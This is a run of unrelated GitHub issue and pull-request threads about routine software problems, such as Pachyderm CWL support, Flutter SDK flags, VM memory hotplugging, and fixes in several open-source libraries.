Any further thought here? Has anyone attempted a CWL to Pachyderm yank converter? Does it seem like there's sufficient feature parity for this to work well? I think it would make Pachyderm quite appealing to interface smoothly with the CWL standard.

Big Pachdyerm user here - we are using it throughout all of our pipelines. Are there any plans to support CWL soon? This language is becoming the lingua franca of computational genomics and support for it is extremely important for our continued use of Pachyderm.

well that would be a shame :)

As stated above it'd just be a matter of implementing a converter from CWL to pachyderm's pipeline def. I think it would be quite useful for pachyderm's community indeed.
A quick google search did not bought up any results. Has anyone seen a project somewhere?

@marcadella I'm not aware of any, but that doesn't mean that such a thing hasn't been started.
I am happy to assist anybody writing a CWL converter!

While I'm not very familiar with CWL, I'm not actually sure if this would be very easy to implement as there are many concepts that don't seem to translate cleanly from CWL to Pachyderm.
A first implementation of this would make for an excellent PR from someone who's more familiar with CWL and we'd be happy to give further guidance from there.


[Core LRO] Add a test case where the type of TResult is void

Some of the communication package LRO methods instantiate TResult type to be void because it does not expect a result from the service. We need to have a test case for this specific case to make sure any future refactoring/improvement do not invalidates this ability (like what happened here: https://github.com/Azure/azure-sdk-for-js/pull/12770#discussion_r542429011). cc @xirzec

Thanks for filing this! Definitely we should get in the habit of testing these kinds of edge cases.


error: Unknown asset apnProdKey.pem

hello i have this error
error: Unknown asset apnProdKey.pem
trying your simple example
how to solve it?
thank you

do you have a myApp/private/apnProdKey.pem file?

Getting the same error. My file looks like this
{
  "apn-dev": {
    "passphrase": "******",
    "key": "./private/key.pem",
    "cert": "./private/cert.pem",
    "gateway": "gateway.push.apple.com"
  },
  "gcm": {
    "apiKey": "*************",
    "projectNumber": "*******"
  },
  "production": false
}

The error I'm getting:
W20150709-13:05:12.649(-4)? (STDERR) Error: Unknown asset: ./private/key.pem
This occurs after I run meteor run
Any ideas? I'm on Yosemite.

Oh, nevermind. The problem was that push adds private on its own. See here


Handle production of NaN during angle calculations.

Numpy can produce NaN during dihedral calculations (in get_dihedral function). This can occurs when we try to normalize the vectors ("Divide by Zero"). It usually means there is issues with some residus coordinates (for example, 2 residus superposed).
The problem is the dictionary of phi/psi angle is still returned and the assignation is still made despite the NaN in the angle. This produces incorrect assignations which could be difficult to spot on a analysis of many PDBs.
This PR fix those issues by :

Transform the RuntimeWarning produced by numpy  in a proper FloatingPointException exception (through numpy.errstate(invalid='raise')).
This change is made in get_phi_psi_angles() function before the main loop on the residus. Hence, it's only done once and do not change the speed of the calculations (it's even a little bit faster but not sure it's significative).
Re-raise the exception in get_phi_psi_angles() function in order to keep the traceback and provide a proper exiting tool for the function (helpful for module users).
Catch the exception in PBassign, warn the user about the issue and don't write the assignation.

@HubLot already done + reformat comments

great, thank you!


Do not read Websocket if connection was not established

Solved in this commit https://github.com/jgomezve/aci-chatbot/commit/3be3a1a37a81474e0b3fdfc118d6d501e3a1b4e8


Error: ENOENT: no such file or directory

On version 3.8.3.
Getting error:
events.js:154       throw er; // Unhandled 'error' event       ^ Error: ENOENT: no such file or directory, open 'node_modules/sc5-styleguide/lib/dist/css/base/_variables.css'     at Error (native)

Closing something without comment… Always helps…


Re-Authenticate?

I'm often seeing calls to this endpoint fail:
var raceGuideData = await _dataClient.GetRaceGuideAsync();
When it fails, the error message back is usually that its unauthorized.
When my class starts up it follows an initialization and authorization sequence similar to whats presented in the read.me:
        private static ServiceCollection _services = new ServiceCollection();
        private static IDataClient _dataClient;
...
                    _services.AddIRacingDataApi(options =>
                    {
                        options.UserAgentProductName = "Robertsmania";
                        options.UserAgentProductVersion = new Version(1, 0);
                    });

                    using var serviceProvider = _services.BuildServiceProvider();
                    _dataClient = serviceProvider.GetRequiredService<IDataClient>();
                    _dataClient.UseUsernameAndPassword(iRacingUserName, iRacingPassword);

                    var infoResponse = await _dataClient.GetMyInfoAsync();
                    _vaProxy.WriteToLog($"Driver name: {infoResponse.Data.DisplayName}", "grey");
                    _vaProxy.WriteToLog($"Customer ID: {infoResponse.Data.CustomerId}", "grey");
                    _vaProxy.WriteToLog($"Club: {infoResponse.Data.ClubName}", "grey");
                    _vaProxy.WriteToLog("iRacingData Logged in...", "pink");

I usually watch the output of my app when its starting up and verify that the VoiceAttack log shows the driver info, which shows that it was authenticated properly then.
Later on (often an hour or so later when I've finished a race) when I want to get the schedule info, these days it often seems to fail with the authentication error when I call:
var raceGuideData = await _dataClient.GetRaceGuideAsync();

Is there a way I can attempt to re-login at that point?  I may be confused about how its working, but it seems like the _dataClient already has my credentials and hitting the GetMyInfoAsync or other end point is what actually loggs the client in.  So when it fails on a subsequent call later on, I dont see how to get it to try and re-authenticate...
And yes, I do appreciate the the instability/issues are most likely on the iRacing /data API side and not a shortcoming of aydsko-iracingdata itself.  But I'd love to be able to get it to dynamically retry when it fails rather than having to restart the application.

I’ve been able to get it to work by setting the data client to null and re-initializing and authenticating when it gives me the error.  I’m only trying again once so if the API really is hosed it doesn’t snag other stuff, bit seems sufficient to log back in if it just fell out of authorization.

Hey there! Your issues are probably related to #213
Unfortunately I've been having a super-stressful time at work and haven't had a chance to look into it yet.


Copy full stack trace to clipboard

How do I copy the full stack trace into my clipboard?

See the right- bottom side of directory page. there have option.

What do you mean the directory page? I don't see any option anywhere to copy to clipboard.


Boundaries not hidden by default on OSM.org instance

URL
https://www.openstreetmap.org/edit#map=19/44.11953/-123.13321
How to reproduce the issue?

If you're signed in, clear your browser cache and sign back in.
Click on the url above. The welcome screen should show up:

Click on 'Edit now'
Open the Map Data menu and scroll down to 'Map Features'. Every category, including 'Boundaries' is checked:

When opening the same area on the release mirror, boundaries are hidden:

Screenshot(s) or anything else?
It looks like boundaries have been hidden by default since #4292
Which deployed environments do you see the issue in?
Released version at openstreetmap.org/edit
What version numbers does this issue effect?
2.27.1
Which browsers are you seeing this problem on?
Chrome, Firefox

This is a duplicate of #8454, and probably only solvable upstream in openstreetmap/openstreetmap-website: https://github.com/openstreetmap/iD/issues/8454#issuecomment-1295765626.

If you're signed in, clear your browser cache and sign back in.

iD remembers your Map Features settings across sessions using Local Storage. You probably have the disabled-features set to the empty string. Clearing your cache might not clear this entry, though in this case it doesn’t matter because openstreetmap-website is effectively overriding it anyways.

Duplicate of #8454


When picking dates with the date picker, the date is wrong.

What happened?
If, for example, I select November 16th 2022 as a date for a note, it changes to November 15th. This has happened with several notes of mine. If I manually change it by opening the note and editing the text itself, it works fine.
What did you expect to happen?
I expected the selected date to remain the one I selected.
How can we reproduce it (as minimally and precisely as possible)?
I suppose select a date with the date picker and see if the behavior persists.
Anything else we need to know?
No response
Plugin version
1.0.1
Obsidian version
1.0.3
OS
Windows

I believe this will be fixed in the next update! I reported the same thing in issue #107 and Marcus has fixed it :heart:

@MKDJr is correct! A fix is coming in the next release (1.1.0).

Wonderful, thank you!


Plugin data fetchers

Description

What was changed in this pull request?

This PR implements plugin data fetcher functionality by looking up a window.higlassDataFetchersByType object.

Why is it necessary?

I have implemented a Zarr-based "serverless" multivec data fetcher class, but this requires the zarr.js dependency. Instead of adding this dependency to HiGlass i would like to add it with a "plugin datafetcher".
I moved minNonZero and maxNonZero out of ./worker and into the ./utils/ directory since utils are exposed in AVAILABLE_TO_PLUGINS
Fixes #___
Checklist

[ ] Set proper GitHub labels (e.g. v1.6+, ignore if you don't know)
[x] Unit tests added or updated
[x] Documentation added or updated
[ ] Example(s) added or updated
[ ] Update schema.json if there are changes to the viewconf JSON structure format
[ ] Screenshot for visual changes (e.g. new tracks or UI changes)
[x] Updated CHANGELOG.md

This is great! I wish it existed about a week ago.
I'd love to try it out if you have a template repo I could use. In fact, if this works then maybe https://github.com/higlass/higlass/pull/964 could be implemented as a plugin data fetcher?
Add some docs and it should be good to go 👍

This is an example repo for the zarr-based multivec plugin datafetcher https://github.com/keller-mark/higlass-zarr-multivec-datafetcher

I added a documentation page in this commit https://github.com/higlass/higlass/pull/966/commits/680858f03b14397fcfe31e6877260976fbc3c783 and moved the list of internals available to plugins to a common page since they will be available to both tracks and data fetchers.


SAMI Module and Training Codes?

There are no training codes with SAMI Module since it's necessary for training custom datasets. Finetuning config settings and codes are also necessary for reproduce the results. Thanks.

I have the same requirement for this, and I hope the author can publicly disclose the training code. Thanks.

@BingoNate @se16wangmeiwei @yjh0410 Thanks for your interest in EfficientSAM. SAMI is implemented based on internal infra, and it may take a while to remove all the internal dependency. The implementation of SAMI is very close to MAE. When the code is ready, we will share it here.

@BingoNate @se16wangmeiwei @yjh0410 Thanks for your interest in EfficientSAM. SAMI is implemented based on internal infra, and it may take a while to remove all the internal dependency. The implementation of SAMI is very close to MAE. When the code is ready, we will share it here.

Amazing work! Hope the pre-training code can be released soon!


Unquiet code patch 1

These changes add some clarifying details to the documentation about using placement groups with certain instance types. For example, the default instance type of t2 does not support placement groups.
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Thanks for the PR! Just a few comments before we can merge it.
Sean

Please also improve commit message summary, e.g.
"Add clarification about placement groups with certain instance types"

Closing as no new updates were made. Feel free to re-open and address comments.


UnassignedValue

I updated the issue: https://github.com/eigen-trust/protocol/issues/207
So we want to Implement this trait for PublicKey and Signature, but not for the Circuits. Instead, the circuits will call UnassignedPublicKey::without_witnesses and Signature::without_witnesses inside its own without_witnesses method.
Also, it would be a good practice to do this for every test circuit

When we want to implement Value to the test circuits, we should deal with Value type to make it work.
Do you think is this okay?

When we want to implement Value to the test circuits, we should deal with Value type to make it work. Do you think is this okay?

The right solution is to add UnassignedInteger and UnassingedEcPoint and implement UnassignedValue for them


Port GN meta-build tool

GN accompanies ninja and is used to generate build.ninja files for it. It has some platform-dependent bits and needs to be proted to OS/2 as well.
Needed for #1.

And the first evidence that Chromium does indeed require GCC 5+:
 ~/Network/novator_D/Coding/qt5/qt5/qtwebengine/src/3rdparty/gn/base/template_util.h:141:43: error: expected template-name before '<' token
     : std::is_trivially_copy_constructible<T> {};
                                           ^

The problem is that although std::is_trivially_copy_constructible is part of C++11, GCC versions before 4.9 didn't have it. Instead there was non-standard std::has_trivial_copy_constructor that was removed from it in GCC 5 (see https://www.gnu.org/software//gcc/gcc-5/changes.html).
And there is also another simplar problem shortly after:
In file included from ~/Network/novator_D/Coding/qt5/qt5/qtwebengine/src/3rdparty/gn/base/memory/ref_counted.h:16:0,
                 from ~/Network/novator_D/Coding/qt5/qt5/qtwebengine/src/3rdparty/gn/base/callback_internal.h:13,
                 from ~/Network/novator_D/Coding/qt5/qt5/qtwebengine/src/3rdparty/gn/base/callback_internal.cc:5:
~/Network/novator_D/Coding/qt5/qt5/qtwebengine/src/3rdparty/gn/base/memory/scoped_refptr.h: In constructor 'constexpr scoped_refptr<T>::scoped_refptr(T*)':
~/Network/novator_D/Coding/qt5/qt5/qtwebengine/src/3rdparty/gn/base/memory/scoped_refptr.h:177:3: error: constexpr constructor does not have empty body
   }
   ^

This time, we lack C++14 extended constexpr support. There is even a Qt Bug for that https://bugreports.qt.io/browse/QTBUG-69535. And the resolution of this bug is to bump the minimum GCC version to 5.
I think that we have no other choice but port a newer version of GCC. I need to think on which version to take: 8.x or 9.x

Finally, I've got to this point now with the supported GCC version. No more above errors but a few others of course. Some might be related to some missing bits in the new GCC, like this one:
D:/Coding/gcc/master-install/bin/g++.exe -MMD -MF base/files/file_path.obj.d  -ID:/Coding/qt5/qt5/qtwebengine/src/3rdparty/gn -ID:/Coding/qt5/qt5-dev-build/qtwebengine/src/3rdparty/gn/out/Release -DNDEBUG -O3 -D_FILE_OFFSET_BITS=64 -D__STDC_CONSTANT_MACROS -D__STDC_FORMAT_MACROS -pthread -pipe -fno-exceptions -fno-rtti -fdiagnostics-color -std=c++14 -Wno-c++11-narrowing -Zomf -c 'D:/Coding/qt5/qt5/qtwebengine/src/3rdparty/gn/base/files/file_path.cc' -o base/files/file_path.obj
In file included from D:/Coding/qt5/qt5/qtwebengine/src/3rdparty/gn/base/strings/string_util.h:450,
                 from D:/Coding/qt5/qt5/qtwebengine/src/3rdparty/gn/base/files/file_path.cc:13:
D:/Coding/qt5/qt5/qtwebengine/src/3rdparty/gn/base/strings/string_util_posix.h: In function 'int base::vswprintf(wchar_t*, size_t, const wchar_t*, va_list)':
D:/Coding/qt5/qt5/qtwebengine/src/3rdparty/gn/base/strings/string_util_posix.h:36:12: error: '::vswprintf' has not been declared; did you mean 'base::vswprintf'?
   36 |   return ::vswprintf(buffer, size, format, arguments);
      |            ^~~~~~~~~
      |            base::vswprintf
D:/Coding/qt5/qt5/qtwebengine/src/3rdparty/gn/base/strings/string_util_posix.h:31:12: note: 'base::vswprintf' declared here
   31 | inline int vswprintf(wchar_t* buffer,
      |            ^~~~~~~~~

After a series of LIBC patches, I've got GN finally up and running. However, there is https://github.com/bitwiseworks/libc/issues/54 which I want to do right away as it should be very simple (and doesn't need OS/2-specific code in GN).

The above bulk commit makes GN run. It appears to work but there are two additional tasks that are postponed for now in favor of moving further with the Chromium build itself. I will create additional tickets for it.


illegal constructor when using aurelia.container.get

Hi,
for the app i'm building a user must be logged in before the pages are available.
For this i want to know is the user is already logged in(has a access_token and is not expired).
If this is all good, i'm doing a setRoot('app'). If the value is invalid, the root will be the login page which currently is a dummy page with a login button to go to our identityserver4 login page.
in my main.ts i'm calling the following code(that fails):
 let openIdConnect: OpenIdConnect = aurelia.container.get(OpenIdConnect);
when looking at my page i see a blank screen and the console shows the following error:
Inner Error: Message: Illegal constructor Inner Error Stack: TypeError: Illegal constructor.
When i remove the line aurelia.container.get(); the page loads correctly.
Is this a problem within the module? or do i need to do something differently?
i'm using aurelia-open-id-connect 2.0.1 in a aurelia with webpack project.
Kind regards,
Walter

Thnx to an answer on https://gitter.im/aurelia/Discuss the following solved my issue:
    return aurelia.start().then(() => {
        const openIdConnect: OpenIdConnect = aurelia.container.get(
            OpenIdConnect,
        );
        aurelia.setRoot(PLATFORM.moduleName("app"));
    });


Calling my_mapping.properties raises AttributeError

I fetched a mapping from es.
When wanting to look at my_mapping.properties, I got the following error:
>>> type(my_mapping.properties)
<class 'elasticsearch_dsl.mapping.Properties'>
>>> my_mapping.properties
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/path/to/my_python/flask/lib/python3.3/site-packages/elasticsearch_dsl-0.0.4.dev0-py3.3.egg/elasticsearch_dsl/utils.py", line 205, in __repr__
  File "/path/to/my_python/flask/lib/python3.3/site-packages/elasticsearch_dsl-0.0.4.dev0-py3.3.egg/elasticsearch_dsl/utils.py", line 240, in __getattr__
AttributeError: 'Properties' object has no attribute '_type_shortcut'

Is this the expected behaviour?
My intention was to look into individual field mappings. But so far, I can't figure out how to do so... Is there a way to do so?
Also, the  my_mapping.properties.to_dict()
gives the same result as  my_mapping.to_dict(). Is that intended to be so?
Using elasticsearch-dsl-py version 0.0.4 beta

Thanks for the report. this is my fault in a bad repr implementation. In the mean time you can access the individual field mappings via the get item interface:
for field in my_mapping:
    print(field, my_mapping[field].to_dict())

Glad it's useful!
Cheers,
Nicolas
Nicolas Joannin, Ph.D.
Independent research scientist
For hire on a per project basis
On Sun, Feb 22, 2015 at 7:28 PM, Honza Král<EMAIL_ADDRESS>wrote:

Thanks for the report. this is my fault in a bad repr implementation. In
the mean time you can access the individual field mappings via the get item
interface:
for field in my_mapping:
print(field, my_mapping[field].to_dict())
—
Reply to this email directly or view it on GitHub
https://github.com/elasticsearch/elasticsearch-dsl-py/issues/79#issuecomment-75449583
.

Oh, also it's normal that my_mapping.to_dict() == my_mapping.properties.to_dict(). It can be different though if you define any mappings for metadata fields like _all, _parent etc.

OK, thanks for the info!


vhost backends exhausted

Steps to reproduce
related to large VMs
Expected result
Actual result
Environment
Logs, links

Not sure if this still, but there's definitely still issues. Here's the latest:
I tried creating a VM on staging with 1Gi memory slots, min=1, max=80 - and then scaling up to 40, then 60 memory slots. 40 was fine, but trying to scale up to 60 resulted in a kernel panic. (logs link).
Trying to replicate locally (on a machine with 32GiB RAM), I decreased the memory slot size to 128Mi, and eventually the same kernel panic happened. It's proceeded by OOM kills triggered when hotplugging, and many of the hotplugging attempts fail (even though the VM's .status.memory is updated as if it were successful).
So I suspect that this "vhost backends exhausted" issue - which was previously the error we'd get from QEMU when trying to plug in ~60 memory slots - is probably no longer an issue.

The x60 limitation comes from the need to place bookkeeping for ZONE_MOVABLE memory into ZONE_NORMAL 1.
Info from @kelvich: it is actually possible to plug more than x60 of the original memory size, we just have to plug it not as ZONE_MOVABLE, but as ZONE_NORMAL. This means kernel doesn't guarantee it will be able to unplug that memory later. Although it is unclear if the unplug will be possible in practice.
So I see two approaches:

Plug some memory as ZONE_NORMAL and be prepared compute won't be able to downscale
Have bigger initial memory/dimm slot, and inflate the baloon to give it back to host

virtio-mem might come in handy (see #705). Although I am not aware of a direct impact on this task.


The “Zentro Restaurant” blueprint does not have the fields to add the URLS of the social links in the Crafter studio.

Description: The “Zentro Restaurant” blueprint does not have the fields to add the URLS of the social links in the Crafter studio.
-Env:
Device: MacBook Pro
Google Chrome Version 61.0.3163.100 (Official Build) (64-bit)
Mozilla Firefox 55.0.3 (64-bit)
REPRODUCIBILITY LEVEL:
Always
STEPS:

Open the Crafter studio with the Zentro Restaurant blueprint.
Click on the sidebar to display the menu.
Expand the component section.
On the components section, click on the edit button of the “Contact Us” component.
Go to the “Social Links” section

*Note that the user can add the icon of the social links but can not add the URLS.
CURRENT RESULT:
The “Zentro Restaurant” blueprint does not have the fields to add the URLS of the social links in the Crafter studio.

EXPECTED RESULT:
The “Zentro Restaurant” blueprint should have the fields to add the URLS of the social links in the Crafter studio.
Note this example:

Tested in local environment


[Feature/tests] Introduce controller tests, implement validation service, and perform refactoring of utility files.

This pull request introduces several enhancements to the codebase:

Controller Test Suite: Added test coverage for controllers to ensure their proper functioning and behavior.
OpenAPI Validation Service Implementation: I wrote a validation service which carefully checks data to make sure it follows the rules in the OpenAPI guidelines. This tool helps maintain data accuracy, makes sure it fits the API rules, and stops wrong inputs from causing problems.
Utility File Refactoring: Conducted refactoring of utility files to enhance code clarity, maintainability, and performance.

@vinitshahdeo Can we merge this PR?


Allow customizing command error messages (and their format)

This would be nice both for servers that what a different format than the current one, and for servers that want multi-language support.
One way could be to allow some sort of language provider interface to be passed to a server that people can implement. It could be something like the following:
// proof of concept
type LangProvider interface {
    GetMessage(key string, parameters map[string]string) string
}

Or maybe an error handler could be passed to a specific command to be able to handle the errors yourself

This somehow needs to be a system that'd work everywhere throughout dragonfly. While commands are the most obvious case where this is an issue, there's other places that'd benefit from a system like this (think, for example, NPC names which need to be localised). Not entirely sure how this should be approached yet.


ToArray can not be implemented for single array argument

I am trying to do the following:
data Projects = Projects { ProjectKey[] $projects } deriving (ToArray, ToString);

This isn't allowed, because it requires two arugments. ToString, FromString builds but that tries to do a toString() on an array but that doesn't work.

I was trying to do the following but that didn't work, so I tried to create an argument first:
data GetProjects = GetProjects {
    ProjectKey[] $projects
} deriving(Query)

It also doesn't allow the following (requires at least one argument, but does a query need to have an argument?)
data GetProjects = GetProjects deriving(Query)

Thanks for the bug-report. I'll try to work on it asap.

    data Change = Change {
        Uuid $uuid,
        Id $id,
        Author $author,
        Item[] $items //@todo array with deriving isn't supported yet.
    } deriving (FromArray, ToArray, Equals);

Please note:
data Projects = Projects { ProjectKey[] $projects } deriving (ToArray, ToString); - Deriving ToArray & ToString at the same time will not go well in most situations. Especially when the $projects is an array of ProjectKey - meaning it can never return a string representation successfully.

I am working on a fix for this problem, need to do some refactoring in order to make it work.

Please note:
data Projects = Projects { ProjectKey[] $projects } deriving (ToArray, ToString); - Deriving ToArray & ToString at the same time will not go well in most situations. Especially when the $projects is an array of ProjectKey - meaning it can never return a string representation successfully.

Oh, that is an error in my example, wasn't in my domain model, thanks for pointing it out.

Comments placed in the PR


Fix random button texts behavior

This feature isn't working properly. Button sure get randomized, but they should remain attach to their list item. In other words, refreshing the app or closing/opening it shouldn't make the button text change. Button texts should change at the same rate to which list items change.

Reintroduced by 86b1326cb925c48144325385f7258d6cffb1a169. Another fix must be found

Other possible lead: https://stackoverflow.com/questions/15061653/run-a-piece-of-code-only-once-when-an-application-is-installed


Query Link Enhancement

Would be very grateful for query support to a direct twitter link.
For example, https://fxtwitter.com/search?q=https://twitter.com/elonmusk/status/1
At the moment, only embedez does this from what I'm aware, but it only loads for images/videos and won't work for plaintext (unless anyone knows a solution). It's very useful for bots.

Doesn't seem like it, what I'm using is an RSS reader; so the placeholder I get is just the {link} which is a direct Twitter link that can't be edited


Latest master release seems to ignore --enable-experiment="non-nullable"

1.21.0-1.0.pre does not have the issue but is missing a couple of fixes I require in dart
1.21.0-5.0.pre has an issue covered in another issue here:

Because flutter_tools depends on collection >=1.15.0-nnbd <1.15.0-nullsafety.2 which requires SDK version >=2.9.0-18.0 <=2.9.10, version solving failed.
Error: Unable to 'pub upgrade' flutter tool. Retrying in five seconds... (4 tries left)
The current Dart SDK version is 2.10.0-0.0.dev.flutter-9dca49e71e.

versions above 1.21.0-5.0.pre seem to ignore the --enable-experiment="non-nullable" so I get many failures in builds.

On my Mac I have 1.21.0-5.0.pre but with dart 2.9.0, while all issues above seem to happen with dart 2.10.0. It's behaving like the args are not being passed to dart vm.
Not using non-nullable is not an option for me as I have a 12000 line codebase relying on it, so please don't suggest this as a fix.

Precise details of what works for me on my Mac are:
Flutter 1.21.0-5.0.pre • channel master • https://github.com/flutter/flutter.git
Framework • revision 54c9441723 (10 days ago) • 2020-07-17 18:56:12 -0400
Engine • revision d327828632
Tools • Dart 2.9.0 (build 2.9.0-21.0.dev 9dca49e71e)

Hi @creativecreatorormaybenot
With the current master you need the latest SDK version because it was updated. Update pubspec.yaml as follow:
environment:
  sdk: ">=2.10.0-0.0.dev.flutter-24c7666def <3.0.0"

Let me know if this help you.

@pedromassango I have this same issue, but I think you tagged the wrong user 😄

Thanks, I've updated my comment

@pedromassangocode thank you, this solved the issue here.
I should note that without that change, if I do a regular flutter channel master + flutter upgrade I get the issue every time.

I will leave it up to your discretion to close the issue.

Hi @flukejones
given your last message I feel safe to close this issue,
if you disagree please write in the comments
and I will reopen it.
Thank you

The issue is now recurring on the update I did today:
Flutter is already up to date on channel master
Flutter 1.21.0-6.0.pre.141 • channel master • https://github.com/flutter/flutter.git
Framework • revision c748f1a7aa (2 days ago) • 2020-07-31 17:45:18 -0700
Engine • revision 280bbfc763
Tools • Dart 2.10.0 (build 2.10.0-2.0.dev bd528bfbd6)

as previously, it seems to ignore --enable-experiment="non-nullable"

I'm not able to reopen the issue.

Did you updated your environment version?

I don't recall needing to do this for previous masters. Only since the first time. But yes updating the environment did work - I assumed it would update regardless.

This is an experimental feature and the environment version you want is not stable so since it is not recommended to use, Flutter does not update it for you.
Given your last message I feel safe to close this issue,
if you disagree please write in the comments
and I will reopen it.
Thank you


Fix string error when loading clip models.

error
The model name string ( VIT-xxx ) in the check_vision_backbone function is not compatible with the model name string ( ViT-xxx ) of the clip repository, which will cause at least one error in  check_vision_backbone function or when loading the clip model.
solution
In this PR, the model name string in the check_vision_backbone function is modified to ViT-xxx to make it compatible with the clip repository.

Thank you for this!  Yes, definitely a typo on my part 😅


Add of(String) to collections

String is often considered a "primitive object" in Java, as it has special language support (e.g. the + operator), therefore it could make sense to add support for creating a collection from its characters, e.g.
instead of:
Vector.ofAll("hello".toCharArray())

we could write
Vector.ofAll("hello")

of with API support:
Vector("hello")

I won't do that because it is 'too complicated' in the way that strings are no Collection and no Array but implicitly concidered to be like an Array. I like to keep the API dead-simple.

I hope you don't mind if I close the ticket.

The ambiguity would also be in case of the API support.
I don't mind, I respect that the final decision is yours. :)


Refresh dependencies, linting, etc.

.gitattributes: [New] Don't show diffs in Poetry lock-file by default
poetry.lock: Update
pyproject.toml: Update Poetry config
pyproject.toml: [Refactor] Simplify Python version spec
pyproject.toml: Update dependencies to the latest versions
gadk: Format code using Black
tox.ini: Modernise Python versions tested
tests/integration: Add missing imports
pyproject.toml: [Cleanup] Remove redundant comment
pyproject.toml: [Refactor] Modernise dev deps group syntax
gadk: Comply with Mypy

 Fix caching in "check workflows" and "Snyk update" jobs


Updating dataview boundingBox although url has not been set yet

CR: @alonsogarciapablo

Closing since we have another solution


Custom color theming

How can I change the color theming of the plugin ?
I integrated the plugin with:
<link rel="stylesheet" type="text/css" href="https://www.ebi.ac.uk/pdbe/pdb-component-library/css/pdbe-molstar-1.2.1.css">
<script type="text/javascript" src="https://www.ebi.ac.uk/pdbe/pdb-component-library/js/pdbe-molstar-plugin-1.2.1.js"></script>
[...]
//Create plugin instance
var viewerInstance = new PDBeMolstarPlugin();

and it work well, but with a white background by default for example I think that the buttons colors and backgrounds are not really fitting right. I managed to change the backgrounds and colors of the first buttons:

But it is difficult and time consuming to change manually all backgrounds and colors:

Is there an "easy" way to modify all backgrounds and buttons colors in javascript for exemple ?
Thank you for your very useful work and help !

Another way is to externally build your own skin/theme CSS by using the mol* core .scss files from here -
https://github.com/molstar/molstar/tree/master/src/mol-plugin-ui/skin


Update FAQ section

The FAQ (and the about page) currently contain no information about usecases or personas, we have a separate privacy policy the FAQs don't refer to and other information might be outdated, too.
Also, links are still formatted as markdown links, but don't work as such.
Related to #1577

@fkleedorfer close/later/soon/ready?

moved to our internal kanbanboard


Adds support for binder-managed extensions for ConsumerProperties/ProducerProperties

… ProducerProperties

Add parameterized ExtendedConsumerProperties and ExtendedProducerProperties;
Added ExtendedPropertiesBinder with the ability of managing per-binding property extensions and interacting the core service;
Add extensions for Kafka and Rabbit

LGTM. I admit I haven't tried all the features, but I think we need to get this released.

squashed and merged (with a few renamings) as https://github.com/spring-cloud/spring-cloud-stream/commit/cadfd48a1f144c53e0966127beba444086891136


Question: Restrict access to the frontend

Hi, very useful tool! I was just wondering if it is possible to restrict access to the frontend itself, with basic or something else?

This means that traefik will listen to the desired port, check that the authentication header matches a user/password combination, and forward the request to the registry frontend only if a match is found.
Using a reverse proxy such as traefik will also allow you to run multiple web services on the same machine, using different rules for routing requests.
This will be the flow of a request:
Browser -> HTTP(S) -> traefik -> HTTP -> docker-registry-frontend

I can agree with @mikaellindemann. Right now I have no plan to integrate any kind of user management and authentication into this project. If you need some level of restriction you can achieve this by using a web server (nginx, Apache, traefik, ...) as a Basic Auth proxy. Feel free to contact me for detailed instructions.

Thanks! I ended up using a nginx docker container as a reverse proxy for SSL encryption and basic auth.


Society Pallet to FrameV2

relates: #7882
Following the upgrade guidelines here: https://crates.parity.io/frame_support/attr.pallet.html#upgrade-guidelines.
:warning: Breaking Change :warning:
From https://crates.parity.io/frame_support/attr.pallet.html#checking-upgrade-guidelines

storages now use PalletInfo for module_prefix instead of the one given to decl_storage: Thus any use of this pallet in construct_runtime! should be careful to update name in order not to break storage or to upgrade storage (moreover for instantiable pallet). If pallet is published, make sure to warn about this breaking change.

So users of the Society pallet must be careful about the name they used in construct_runtime!. Hence the runtime-migration label, which might not be needed depending on the configuration of the Society pallet.
only kusama uses the pallet Society
kusama uses the name Society in construct-runtime! so no need for migration

hmmm, I do not believe the tests failing are due to this pr's changes. Maybe some upstream change caused the executor tests to fail ?

bot merge


extra space at the bottom when the keyboard is up for both android & ios.

Environment
Library version: ^2.4.1
OS version: iPhone 13, iOS 15.0
System:
    OS: macOS 11.6.1
    CPU: (8) x64 Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz
    Memory: 25.16 MB / 32.00 GB
    Shell: 5.8 - /bin/zsh
  Binaries:
    Node: 16.14.0 - /usr/local/bin/node
    Yarn: 1.22.15 - ~/.yarn/bin/yarn
    npm: 8.3.1 - ~/n/bin/npm
    Watchman: 2<IP_ADDRESS> - /usr/local/bin/watchman
  Managers:
    CocoaPods: 1.11.3 - /Users/ahmedelshentenawy/.rvm/gems/ruby-2.7.4/bin/pod
  SDKs:
    iOS SDK:
      Platforms: DriverKit 21.0.1, iOS 15.0, macOS 12.0, tvOS 15.0, watchOS 8.0
    Android SDK:
      API Levels: 28, 29, 30, 31
      Build Tools: 28.0.3, 29.0.2, 29.0.3, 30.0.2, 30.0.3, 31.0.0
      System Images: android-29 | Google APIs Intel x86 Atom, android-29 | Google Play Intel x86 Atom
      Android NDK: 20.1.5948944
  IDEs:
    Android Studio: Bumblebee 2021.1.1 Patch 1 Bumblebee 2021.1.1 Patch 1
    Xcode: 13.1/13A1030d - /usr/bin/xcodebuild
  Languages:
    Java: 11.0.11 - /usr/bin/javac
  npmPackages:
    @react-native-community/cli: Not Found
    react: Not Found
    react-native: Not Found
    react-native-macos: Not Found
  npmGlobalPackages:
    *react-native*: Not Found

Affected platforms

[X] Android
[X] iOS

Current behavior
extra space at the bottom when the keyboard is up.
Expected behavior
there should be no extra space.
Reproduction
https://user-images.githubusercontent.com/19273413/161245852-40e1158d-d218-42f6-a9f3-ae30f8c970aa.mp4
Uploading Apr-01-2022 12-27-44.mp4…
 // using the native-stack from RN screens.
  React.useEffect(
    () => {
      const unsubscribe = navigation.addListener('appear', e => {
        AvoidSoftInput.setEnabled(true)
      });

      return () => {
        AvoidSoftInput.setEnabled(false)
        unsubscribe();
      };
    },
    [navigation]
  );

Hi @a-eid , could you provide a link to reproduction repo, so I can investigate it?

@mateusz1913 hey, thank you for the awesome lib, will post a repro link later today/tomorrow.

Seems that I posted the wrong video 😅

@a-eid thx for providing videos. As workaround I can recommend using AvoidInput.setAvoidOffset method with negative value, so you can eliminate that extra space. However, I am looking forward for a separate reproduction repo, so I will be able to investigate it in isolated environment

@mateusz1913 I'll close this since upgrading to latest version fixed the issue for me somehow on both ios and andorid.


Run cargo test as part of the CI

I've added some unit tests recently, but they were not run as part of
our GitHub actions. This commit
Also fix some broken unit tests. The unit tests were correct but
sometimes they would race with each other and fail. I added the
serial_test crate so we can annotate the tests with #[serial] to
ensure they don't run together (as these tests modify a global
variable).
Also fixed some unused var warning that seems to have only started
showing up in recent versions of rust/clippy.

/test baremetalds-sno-recert-cluster-rename
